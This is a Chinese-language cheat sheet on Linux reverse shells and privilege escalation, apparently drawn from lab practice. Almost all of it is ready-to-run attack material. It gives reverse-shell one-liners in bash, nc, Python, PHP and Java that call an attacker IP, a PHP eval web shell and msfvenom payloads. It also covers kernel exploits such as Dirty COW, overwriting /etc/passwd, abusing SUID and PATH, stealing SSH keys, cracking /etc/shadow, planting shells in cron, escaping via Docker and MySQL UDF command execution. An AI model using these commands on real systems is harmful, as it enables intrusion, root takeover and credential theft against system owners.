find / -name authorized_keys
一、反弹 shell
1.1 使用 nc 对进行监听
nc -lvnp 9999
1.2 bash 反弹
bash -i >& /dev/tcp/ip_address/port 0>&1
或
bash -c "bash -i >& /dev/tcp/192.168.103.130/7788 0>&1"
1.3 nc 反弹
nc -e /bin/sh 192.168.2.130 4444
但某些版本的 nc 没有 -e 参数,则可使用以下方式解决
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.103.130 7788 >/tmp/f
1.4 python 反弹
import socket,subprocess,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.2.130" , 4444 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])
1.5 php 反弹
1、编写一句话木马:
<?php eval($_REQUEST['cmd']);?>
2、使用一句话木马执行系统命令:
http://192.168.103.168/cmd.php?cmd=system(%22which%20nc%22);
回显得 nc 的目录:
3、 连接语句:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.103.130 7788 >/tmp/f');
1.6 python 反弹
1、编写 python 脚本:
import socket,subprocess,os
s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(( "192.168.103.130" , 7788 ))
os.dup2(s.fileno(), 0 )
os.dup2(s.fileno(), 1 )
os.dup2(s.fileno(), 2 )
p = subprocess.call([ "/bin/bash" , "-i" ])
2、运行 python 脚本
1.7 Java 反弹 shell
1、编写 java 脚本:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read
line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
2、执行 java 脚本
1.8 切换 shell
1、由于有时候一些命令无法执行:
2、这时候就需要切换 shell ,使用 python 来切换:
(1)寻找 python:
(2)切换 shell :
python3 -c 'import pty;pty.spawn("/bin/bash")'
1.9 解决乱码情况:
1、ctrl + z 把 shell 进程放到后台
2、输入如下命令:
stty -echo raw
3、fg 再调用后台任务
二、Linux 内核提权
2.1 内核溢出提权
1、漏洞简述:
利用堆栈溢出漏洞,根据当前系统寻找对应的漏洞的 exp 使用 exp 对其进行提权
查看系统版本:
uname -a
cat /proc/version
cat /etc/issue
cat /etc/redhat-release
lsb_release -a
2、根据版本号在 kali 中搜索提权的 exp:
(1)
uname -a
(2)
searchsploit -s 13.0
或
searchsploit -t 13.0
(3) 通过以上路径使用如下命令来获取绝对路径:
searchsploit -x linux/local/37088.c
按 q 退出
(4)复制到随便一个目录下,进行编译:
cp /usr/share/exploitdb/exploits/linux/local/37292.c chun.c
gcc -o chun chun.c
(5)目标主机反向连接到攻击主机,执行:
bash -c 'bash -i >& /dev/tcp/192.168.103.130/7788 0>&1'
(6)攻击主机启动 http 服务器:
sudo python -m http.server 5566
(7)目标主机远程下载文件:
wget http://192.168.103.130:5566/chun
(8)执行提权 exp :
chmod +x chun
./chun
2.2 脏牛提权(CVE-2016-5195)
1、描述:
脏牛漏洞(CVE-2016–5195),又叫 Dirty COW,存在 Linux 内核中已经有长达9年的时间,在2007年发布的 Linux 内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大。
漏洞具体是由于 get_user_page 内核函数在处理 Copy-on-Write 的过程中,可能产出竞态条件造成 COW 过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改 su 或者passwd 程序就可以达到 root 的目的。
2、环境准备:
(1)Ubuntu 14.04
(2)漏洞利用 exp:GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195
3、漏洞复现:
(1)反弹 shell
(2)远程下载提权 exp
(3)编译 exp
gcc -pthread dirty.c -o dirty -lcrypt
(4)执行 exp 后创建用户 firefart ,密码为 123456
./dirty 123456
(5)查看权限 id,发现是管理员权限:
(6)提权成功后可以创建用户:
adduser chun //添加一个名为 chunchun 的用户
passwd chun //修改密码
(7)赋予 root 权限:
usermod -aG sudo chun
三、passwd 提权
3.1 确保 /etc/passwd 可以修改
3.2 通过 openssl 生成用户和密码
openssl passwd -1 -salt chunchun 123456
3.3 复制粘贴整个 /etc/passwd 的内容,把我们新建的内容统一为 /etc/passwd 格式,然后一起保存为 passwd
root:x:0:0root:/root:/bin/bash
chunchun:$1$chunchun$.6aMop5J2aDfXe8ILYMPl0:0:0:/root:/bin/bash
3.4 使用 wget 远程下载后替换
wget http://192.168.103.130:7788/passwd -O /etc/passwd
3.5 切换用户
su chunchun
3.6 使用远程 ssh 进行登录
ssh chunchun@192.168.103.171
或者使用 putty 进行登录
四、使用 metasploit 进行提权
4.1 生成后门文件
1、生成可执行文件:
(1)若是 64 位操作系统:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.103.130 LPORT=7778 -f elf > s
(2)若是 32 位操作系统:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.103.130 LPORT=7778 -f elf > s
2、生成 php 后门文件:
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.103.130 LPORT=7788 -f raw > shell.php
php 关于操作文件的函数:
(1)file_get_contents
($filename,$source) 函数用于将整个文件读取为字符串,$filename 是要写入的文件名,$source 是文件资源参数
http://192.168.103.172/cmd.php?cmd=echo%20file_get_contents(%27http://192.168.103.130:5566/msf.php%27);
(2)file_put_contents($filename,$source)
函数用于将数据写入文件,$filename 是要写入的文件名,$source 是文件资源参数
http://192.168.103.171/code/code02.php?data=file_put_contents('mm.php',file_get_contents('http://192.168.103.130:5566/msf.php'));
4.2 本地启动监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
或
set payload linux/x86/meterpreter/reverse_tcp
或
set payload php/meterpreter_reverse_tcp
set lhost 192.168.103.130
set lport 7778
exploit
4.3 查询漏洞
run post/multi/recon/local_exploit_suggester
或者就像第二部分一样通过 linux 的版本号来查找可能存在的漏洞来使用 exp 进行提权
五、suid 提权
5.1 suid 概述
SUID 是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果 ROOT 用户给某个可执行文件加了 S 权限,那么该执行程序运行的时候将拥有 ROOT 权限。
suid(set uid)是linux中的一种特殊权限,suid 可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。
suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。
chmod u+s filename #设置suid
chmod u-s filename #去除suid
linux引入了3个文件来管理用户和组:
1、/etc/passwd 存放用户信息,查询可执行命令的用户可以使用命令
cat /etc/passwd | grep bash
2、/etc/shadow 存放用户密码信息。
3、/etc/group 存放组信息。
以下命令可以发现系统上运行的所有 SUID可 执行文件:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
5.2 利用
1、利用概述:
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效。只有 root 用户的 uid 是 0,如果把一个普通用户的 uid 修改为 0,那么只要以普通用户的用户名和密码登录系统就会自动切换到 roo t用户,在系统加固时一定要找出有哪些用户的 uid 为 0。
假设可执行文件 binexec 其属主为 root,当以非 root 身份登录时,如 binexec 设置了 suid 权限,就可以在非 root 身份下运行该可执行文件,可执行文件运行时该进程的权限为 root 权限。利用此特性,就可通过 suid 进行提权。
2、利用流程:
(1)查找可利用的文件
find / -perm -u=s -type f 2>/dev/null
(2)在网站:GTFOBins 下进行搜索:
5.3 复现
1、反弹 shell :
(1)反向连接:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.103.130 7788 >/tmp/f');
或
system('bash -c "bash -i >& /dev/tcp/192.168.103.130/7788 0>&1"');
(2)切换 shell :
python3 -c 'import pty;pty.spawn("/bin/bash")'
2、查看有 suid 权限的文件:
find / -perm -u=s -type f 2>/dev/null
3、 在网站:GTFOBins 下进行搜索 find:
4、在 shell 中输入:
find . -exec /bin/sh -p \; -quit
5、获取到 root 权限:
(1)使用 id 命令来查看:
euid 就是有效用户标识。
(2)使用 cat /etc/shadow 来确认 root 权限
6、常见suid提权文件:
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
六、SSH 密钥提权
6.1 概述
运维人员如果在服务器上使用 ssh-keygen 生成密钥对(id_rsa、id_rsa.pub),然后采用此密钥对进行远程登录,那么当他忘记把私钥(id_rsa)删除,且文件权限可读,黑客就可以使用这个私钥进行用户登录,达到用户水平越权或者权限提升到 root 。
6.2 复现
1、得到反弹 shell
2、搜索用户文件:
cat /etc/passwd | grep bash
3、搜索密钥文件:
find / -name authorized_keys
4、比对公钥文件:
(1)可以直接使用 cat 来比对:
cat authorized_keys
cat id_rsa.pub
(2)可以 md5 解密后比对:
md5sum authorized_keys
md5sum id_rsa.pub
5、比对成功后下载或保存私钥(id_rsa):
6、登录:
ssh -i siyao1 web1@192.168.103.172
七、环境劫持提权
7.1 概述
替换环境变量,优先执行我们预先设定好的文件,达到劫持的目的;
环境劫持需要的两个条件:
(1)存在带有suid的文件
(2)suid文件存在系统命令
7.2 原理
1、在 /home/xxx/test_up 文件夹下创建 shell.c 文件:
#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}
2、编译 shell.c 文件:
gcc shell.c -o shell
3、赋予 shell 权限:
chmod 777 shell
chmod u+x shell
4、此时 shell 这个文件就是有 suid 的文件
更简明了说,若有 suid 的权限的文件(ttt)是由如c语言编译而来,那么普通用户直接执行 ttt,就直接变成 root 用户:
#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
7.3 复现
1、msf 远程登录;
2、查找 suid 命令:
find / -perm -u=s -type f 2>/dev/null
3、执行 /home/test/shell ,发现是执行的 cat /etc/shadow
4、创建劫持文件:
echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
5、设置环境变量:
echo $PATH
export PATH=/tmp:$PATH
6、再次执行 /home/test/shell:
/home/shell
whoami
7.4 注意事项
1、无法判断有 suid 的权限的文件里执行了什么可替换的命令的话,可以使用 xxd 来判断:
八、john 破解 /etc/shadow文件的 root 密文登录提权
8.1 概述
账号的密码信息通常是保存在 /etc/shadow 中而不是 /etc/passwd 中
8.2 复现
1、首先必须是管理员才能查看 /etc/shadow 文件
2、把 root 那一列复制保存下来,保存为 shadow.txt 文件
root:$6$B2UOTJuK$FhrDXT5b2VnwSOlGJnnrcZz3Yp57Xxj3xffkTwCmIepvnV1TvOdCw8msrCUrpplnaqEOV7PHBJVWBGzOFIKby.:18016:0:99999:7:::
3、使用kali 自带工具 john 进行破解:
john --wordlist="/usr/share/wordlists/rockyou.txt" shadow.txt
九、计划任务反弹 shell 提权
9.1 概述
若系统内有计划周期运行的文件,若可以修改,可以改为反弹 shell 的命令,等到执行的时候就自动反向连接了,只是直接就是 root 权限。
9.2 复现
1、查询任务的命令:
(1)查看计划任务(针对普通用户):
cat /etc/crontab
(2) 查看用户任务:
crontab -l
(3)查看 root 用户任务:
cat /var/spool/cron/crontabs/root
(4)查看任务日志:
tail -f /var/log/syslog
2、修改为反向连接的命令:
bash -i >& /dev/tcp/192.168.1.1/1234 0>&1
3、本机进行监听:
nc -lvnp 1234
十、脚本辅助提权
10.1 LinEnum
1、项目地址:GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
2、使用:
(1)下载时执行:
wget -O - http://192.168.1.1/LinEnum.sh | bash
(2)下载后执行:
sh LinEnum.sh
10.2 linuxprivchecker
1、项目地址:GitHub - swarley7/linuxprivchecker: Python3 compatible linuxprivchecker
2、使用:
python3 linuxprivchecker.py
10.3 linux-exploit-suggester2
1、项目地址:GitHub - jondonas/linux-exploit-suggester-2: Next-Generation Linux Kernel Exploit Suggester
2、使用:
perl linux-exploit-suggester-2.pl
十一、docker 提权
11.1 概述
11.2 复现
1、使用脚本发现 docker :
sh LinEnum.sh > 1.txt
cat 1.txt | grep docker
2、使用如下命令:
docker run -v /:/mnt -it alpine
这个命令的效果是在一个基于 Alpine Linux 镜像的 Docker 容器中启动一个交互式的终端,并且将主机系统的根目录挂载到容器内的 /mnt
目录。这样你可以在容器中执行命令,同时可以访问主机系统的根目录。
此时就获得了 root 权限,进入 /mnt 目录后,就相当于进入了目标主机的主目录,就可以查看例如 /etc/shadow 等目录来获取密码了
十二、sudo 提权
12.1 原理
1、使用 su 命令切换用户时,需要输入密码,但是切换成功后,可以在执行命令时加入 sudo 来直接执行特权命令。
2、使用 sudo -l 可以查看当前用户可执行和无法执行的命令
(1)若对一个命令有权限,可直接执行:
sudo cat /etc/shadow
(2)若没有权限,执行特权命令需要再次输入密码:
sudo ps -al
3、使用如下命令可以查看用户可执行和无法执行的命令,若可写也可以进行修改:
cat /etc/sudoers
十三、mysql 和 udf 提权
13.1 概述
在获取到普通用户的密码后登录进行文件写入,然后自定义函数后进行命令执行。
13.2 复现
1、获取到 shell 后,使用 Mysql 命令查看是否存在 mysql
2、登录后使用如下命令来查看可写的文件:
show variables like '%plugin%'
3、在 /usr/share/sqlmap/extra/cloak/ 文件夹下使用 给 /usr/share/sqlmap/data/udf/mysql/linux/64/ 文件夹下的 lib_mysqludf_sys.so 解码
sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o udf.so
4、在攻击方主机上启动代理服务器:
sudo python -m http.server 5566
5、进入 /usr/lib/mysql/plugin/ ,远程下载 udf.so 文件:
wget http://192.168.103.130:5566/udf.so
6、再次登录 Mysql ,使用 mysql 数据库,然后创建自定义函数:
use mysql
create function sys_eval returns string soname "udf.so";
7、 使用自定义函数执行命令:
select sys_eval('id');
此时可以用 mysql 的身份执行系统命令;
补充:
(1)可以查询自定义函数:
select * from func
(2)可以删除然后重新定义:
delete from func where name='sys_eval';
十四、不使用密码来切换用户
14.1 复现
1、在用户 id 为 1000 的用户下创建如下 c 程序,编译后为 test:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(1000,1000);
execve("/bin/sh",NULL,NULL);
}
(1)setreuid(1000, 1000);: 这个函数用于修改进程的实际用户ID和有效用户ID。在这里,将实际用户ID和有效用户ID都设置为1000。这样,程序在接下来的执行过程中将以用户ID 1000 的身份运行。
(2)execve("/bin/sh", NULL, NULL);: 这个函数用于执行一个新的程序,替换当前进程。在这里,它尝试执行 /bin/sh,即一个交互式的shell。由于第一步设置了用户ID为1000,这个shell将以用户ID 1000 的身份运行。
(3)这段代码的效果是以用户ID 1000 的身份启动一个交互式shell。
2、 赋予 test suid 权限:
chmod u+s test
3、用户 id 为 1001 的用户 执行 test 之后,就自动变为用户 id 为 1000 的用户了。